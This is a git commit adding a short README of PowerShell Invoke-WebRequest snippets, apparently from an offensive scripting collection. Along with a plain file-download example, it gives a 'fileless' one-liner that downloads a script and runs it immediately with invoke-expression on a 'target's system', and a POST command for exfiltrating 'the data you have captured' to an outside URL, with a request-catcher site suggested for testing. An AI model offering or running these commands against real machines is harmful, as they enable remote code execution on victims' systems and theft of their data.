first commit
This commit is contained in:
@@ -0,0 +1,47 @@
|
||||
## Description
|
||||
|
||||
These functions are used to either download or upload files or data
|
||||
|
||||
## The Function
|
||||
|
||||
### [IWR-Save]
|
||||
|
||||
This formatting of the IWR function will download a file from a selected URL and save it to the directory of your choosing
|
||||
|
||||
This is helpful if you are trying to save an image or sound file to use in your script
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
`$env:TMP\`
|
||||
|
||||
Use this environment variable to save the file to your Temp directory
|
||||
|
||||
`$Env:USERPROFILE\Desktop\`
|
||||
|
||||
Use this environment variable to save a file to your desktop
|
||||
|
||||
```PowerShell
|
||||
iwr < Your url for the intended file>?dl=1 -O $Env:USERPROFILE\Desktop\image.jpg
|
||||
```
|
||||
|
||||
### [IWR-Fileless]
|
||||
|
||||
This formatting of the IWR function will download a file and execute it immedietely without saving it to memory
|
||||
|
||||
This is helpful if you are trying to download and execute a script without keeping it on the target's system
|
||||
|
||||
```PowerShell
|
||||
$pl = iwr < Your url for the intended file>?dl=1; invoke-expression $pl
|
||||
```
|
||||
|
||||
### [IWR-Post]
|
||||
|
||||
This formatting of the IWR function will exfiltrate data via a DNS/POST
|
||||
|
||||
This is helpful if you are trying to exfiltrate the data you have captured
|
||||
|
||||
[Request Catcher](https://requestcatcher.com/)<-------Helpful website to test POST requests
|
||||
|
||||
```PowerShell
|
||||
iwr -Uri < Your url for posting the intended data> -Method POST -Body "text to upload"
|
||||
```
|
||||
Reference in New Issue
Block a user